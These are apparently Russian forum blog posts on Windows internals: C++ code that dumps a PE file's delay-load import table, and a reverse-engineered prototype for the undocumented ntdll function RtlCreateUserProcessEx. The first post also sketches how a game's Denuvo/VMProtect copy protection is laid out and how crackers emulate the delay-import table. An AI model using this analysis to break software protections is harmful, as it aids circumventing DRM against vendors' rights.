IMAGE_DELAYLOAD_DESCRIPTOR
Таблица отложенного импорта содержит информацию, необходимую для отложенной загрузки импортируемых библиотек.
Отложенная загрузка импорта означает, что dll присоединена к исполняемому файлу, но загружается в память не сразу, как при обычном импорте, а только при первом обращении программы к символу, импортируемому из этой dll.

Получение информации о таблице отложенного импорта:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
wprintf(L"****************************************************************\n                IMAGE_DELAYLOAD_DESCRIPTOR\n****************************************************************");
 
IMAGE_DELAYLOAD_DESCRIPTOR* __ptr64 pDelayDir = (IMAGE_DELAYLOAD_DESCRIPTOR * __ptr64)((unsigned __int64)ImageBaseAddr + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress);
if (pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size != 0) {
    while (pDelayDir->DllNameRVA) {
        IMAGE_THUNK_DATA64* __ptr64 ImportNameTable = (IMAGE_THUNK_DATA64 * __ptr64)((unsigned __int64)ImageBaseAddr + pDelayDir->ImportNameTableRVA);
        IMAGE_THUNK_DATA64 * __ptr64 ImportAddressTable = (IMAGE_THUNK_DATA64 * __ptr64)((unsigned __int64)ImageBaseAddr + pDelayDir->ImportAddressTableRVA);
        printf("\n%s (INT: 0x%016llX, IAT: 0x%016llX, BoundIAT: 0x%016llX)\n",
            (unsigned __int64)ImageBaseAddr + pDelayDir->DllNameRVA,
            (unsigned __int64)ImageBaseAddr + pDelayDir->ImportNameTableRVA,
            (unsigned __int64)ImageBaseAddr + pDelayDir->ImportAddressTableRVA,
            (unsigned __int64)ImageBaseAddr + pDelayDir->BoundImportAddressTableRVA);
        while (ImportNameTable->u1.AddressOfData) {
            if (!(ImportNameTable->u1.Ordinal & IMAGE_ORDINAL_FLAG64)) {
                IMAGE_IMPORT_BY_NAME* __ptr64 ImportFunctionName = (IMAGE_IMPORT_BY_NAME * __ptr64)((unsigned __int64)ImageBaseAddr + ImportNameTable->u1.AddressOfData);
                printf(" %-50s --- ", ImportFunctionName->Name);
                wprintf(L"0x%016llX\n", ImportAddressTable->u1.AddressOfData);
            }
            ImportNameTable++;
            ImportAddressTable++;
        }
        pDelayDir++;
    }
}
else wprintf(L"\nDelayload directory not found!\n\n");

Пример вывода данных в консоль

Здесь видно, что библиотека, необходимая для запуска клиента игры, находится в таблице отложенного импорта.
При взломе эту таблицу эмулируют, получая от неё данные в процессе отладки.
Но здесь поступили хитро, убрав библиотеку из основного импорта, поэтому отлаживать её возможно только после запуска игры.

Подведём итоги проанализированной защиты:
1. код программы обфусцирован двумя виртуальными машинами (Denuvo, VMProtrect)
2. имеется два TlsCallback (с возможно вложенными потоками)
3. основная библиотека клиента игры не доступна для отладки без запуска самой игры.

PS: это не все таблицы. По мере тестирования буду добавлять остальные.

Прототип RtlCreateUserProcessEx

_lunar_ — Tue, 29 Jan 2019 07:25:22 GMT

Потребовалось недавно создать процесс средствами Native API.
Из всего набора функций ntdll.dll имеются следующие варианты:
1. NtCreateProcess(Ex) - создаётся элементарно просто (NtOpenFile -> NtCreateSection -> NtCreateProcess -> NtGetContextThread -> NtCreateThread) но связать процесс с csrss слишком геморно, поэтому дальше чем не зарегистрированные хендлы объекта ядра пройти сложно. (Вообще между NtCreateThread и NtCreateThreadEx очень большая разница, но сейчас не об этом).
2. NtCreateUserProcess - в принципе оптимальный вариант, регистрация csrss проходит автоматически в процессе создания, но на Windows 10 с ней есть проблема: структура OBJECT_ATTRIBUTES в данном контексте предназначена только для вызовов из режима ядра, поэтому структура не учитывается при переключении контекста обратно в пользовательский режим. При возврате в режим пользователя адрес всегда равен нулю.
3. RtlCreateUserProcess(Ex) - функция, которая перешла из WinXP в качестве режима совместимости новых ОС со старыми программами. После выполнения она вызывает NtCreateUserProcess.

Решил взять её. RtlCreateUserProcess создать просто. Для этого сначала нужно передать в RtlCreateProcessParameters юникод строку и структуру RTL_USER_PROCESS_PARAMETERS. Если используется RtlCreateProcessParameters, то желательно вызывать RtlNormalizeProcessParams для нормализации параметров структуры RTL_USER_PROCESS_PARAMETERS. Либо воспользоваться RtlCreateProcessParametersEx у которой последним параметром идёт флаг нормализации равный 1.
Все прототипы этих функций в интернете есть (пишу код без CRT, VC runtime и стандартных хидеров из предыдущего блога https://www.cyberforum.ru/blog... g5635.html)

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
typedef struct _RTL_USER_PROCESS_INFORMATION {
    /*+0x000*/ unsigned __int32 Length; // Uint4B
    /**/ void* __ptr64 hProcess; // Ptr64 Void
    /**/ void* __ptr64 hThread; // Ptr64 Void
    /**/ CLIENT_ID ClientId; // _CLIENT_ID
    /**/ SECTION_IMAGE_INFORMATION ImageInformation; // _SECTION_IMAGE_INFORMATION
} RTL_USER_PROCESS_INFORMATION;
 
typedef __int32(__stdcall* __ptr64 _RtlCreateProcessParameters)(
    RTL_USER_PROCESS_PARAMETERS* __ptr64* __ptr64 pProcessParameters,
    UNICODE_STRING* __ptr64 ImagePathName,
    UNICODE_STRING* __ptr64 DllPath,
    UNICODE_STRING* __ptr64CurrentDirectory,
    UNICODE_STRING* __ptr64 CommandLine,
    void* __ptr64 Environment,
    UNICODE_STRING* __ptr64 WindowTitle,
    UNICODE_STRING* __ptr64 DesktopInfo,
    UNICODE_STRING* __ptr64 ShellInfo,
    UNICODE_STRING* __ptr64 RuntimeData
    );
_RtlCreateProcessParameters RtlCreateProcessParameters;
 
typedef __int32(__stdcall* __ptr64 _RtlCreateProcessParametersEx)(
    RTL_USER_PROCESS_PARAMETERS* __ptr64* __ptr64 pProcessParameters,
    UNICODE_STRING* __ptr64 ImagePathName,
    UNICODE_STRING* __ptr64 DllPath,
    UNICODE_STRING* __ptr64 CurrentDirectory,
    UNICODE_STRING* __ptr64 CommandLine,
    void* __ptr64 Environment,
    UNICODE_STRING* __ptr64 WindowTitle,
    UNICODE_STRING* __ptr64 DesktopInfo,
    UNICODE_STRING* __ptr64 ShellInfo,
    UNICODE_STRING* __ptr64 RuntimeData,
    unsigned __int32 Flags
    );
_RtlCreateProcessParametersEx RtlCreateProcessParametersEx;
 
typedef RTL_USER_PROCESS_PARAMETERS* __ptr64 (__stdcall* __ptr64 _RtlNormalizeProcessParams)(
    RTL_USER_PROCESS_PARAMETERS* __ptr64 ProcessParameters
    );
_RtlNormalizeProcessParams RtlNormalizeProcessParams;
 
typedef __int32(__stdcall* __ptr64 _RtlCreateUserProcess)(
    UNICODE_STRING* __ptr64 NtImagePathName,
    unsigned __int32 AttributesDeprecated,
    RTL_USER_PROCESS_PARAMETERS* __ptr64 ProcessParameters,
    struct _SECURITY_DESCRIPTOR* __ptr64 ProcessSecurityDescriptor,
    struct _SECURITY_DESCRIPTOR* __ptr64 ThreadSecurityDescriptor,
    void* __ptr64 ParentProcess,
    unsigned char InheritHandles,
    void* __ptr64 DebugPort,
    void* __ptr64 TokenHandle,
    RTL_USER_PROCESS_INFORMATION* __ptr64 ProcessInformation
    );
_RtlCreateUserProcess RtlCreateUserProcess;
 
RTL_USER_PROCESS_PARAMETERS* __ptr64 proc = { 0 };
RTL_USER_PROCESS_INFORMATION info = { 0 };
 
UNICODE_STRING str;
str.Length = sizeof(L"\\??\\C:\\Users\\USER\\Documents\\programs\\AIDA\\cpuz_x64.exe") - sizeof(unsigned short);
str.MaximumLength = sizeof(L"\\??\\C:\\Users\\USER\\Documents\\programs\\AIDA\\cpuz_x64.exe");
str.Buffer = L"\\??\\C:\\Users\\USER\\Documents\\programs\\AIDA\\cpuz_x64.exe";
 
RtlCreateProcessParameters(&proc, &str, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0);
RtlNormalizeProcessParams(proc);
RtlCreateUserProcess(&str, 0x40, proc, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, 0, (void* __ptr64)0, (void* __ptr64)0, &info);

Хорошо, хендлы процесса и потока есть, иду в отладчик и смотрю цепочку вызовов до перехода в ядро (int 2e, syscall/sysenter)
ntdll!RtlCreateUserProcess -> ntdll!RtlCreateUserProcessEx -> RtlpCreateUserProcess -> ntdll!NtCreateUserProcess

Получается RtlCreateUserProcess это враппер над RtlCreateUserProcessEx и это лишние "телодвижения" перед переходом в ядро.
RtlpCreateUserProcess является внутренней (Internal) функцией и не экспортируется, поэтому делать её прототип бессмысленно, т.к. вызвать её нельзя.

Нужно вызывать RtlCreateUserProcessEx. Ок, полез в гугл за прототипом и тут я был слегка ошеломлен.
Ни гугл, ни сорсы Process Hacker, ни сорсы ReactOS не знают про существование этой функции. Нонсенс!

Делать нечего, нужна IDA и дизассемблированный листинг этой функции.
Открываем иду, переходим к RtlCreateUserProcess и жмакаем F5, видим следующее

RtlCreateUserProcess принимает 10 аргументов (что соответствует её прототипу) и возвращает вызов RtlCreateUserProcessEx с 5 аргументами.
Давайте посмотрим что это за аргументы.
a1 - это UNICODE_STRING* __ptr64 из аргументов RtlCreateUserProcess
a3 - это структура RTL_USER_PROCESS_PARAMETERS* __ptr64
a7 - это unsigned char
v11 - что-то типа флага (ида показывает 1, но это не так, он должен быть 0)
a10 - это структура RTL_USER_PROCESS_INFORMATION* __ptr64 из аргументов RtlCreateUserProcess

Вот собственно и прототип

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*NTSYSAPI
NTSTATUS
NTAPI
RtlCreateUserProcessEx(
    _In_ PUNICODE_STRING NtImagePathName,
    _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    _In_ BOOLEAN InheritHandles,
    _Reserved_ ULONG Flags,
    _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation
);*/
 
typedef __int32(__stdcall* __ptr64 _RtlCreateUserProcessEx)(
    UNICODE_STRING* __ptr64 NtImagePathName,
    RTL_USER_PROCESS_PARAMETERS* __ptr64 ProcessParameters,
    unsigned char InheritHandles,
    unsigned __int32 Flags,
    RTL_USER_PROCESS_INFORMATION* __ptr64 ProcessInformation
    );
_RtlCreateUserProcessEx RtlCreateUserProcessEx;
 
RtlCreateProcessParametersEx(&proc, &str, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, (void* __ptr64)0, 0x1);
RtlCreateUserProcessEx(&str, proc, 0, 0, &info);

Всё, в структуре RTL_USER_PROCESS_INFORMATION будут лежать хендлы процесса и потока.
Что интересно, RtlCreateUserProcessEx уже сама вызывает RtlNormalizeProcessParams и параметры нормализуются автоматически при создании процесса

Добавлено
после общения с автором форка ProcessHacker, dmex добавил мой прототип функции RtlCreateUserProcessEx в исходный код
https://github.com/processhack... 9eba735080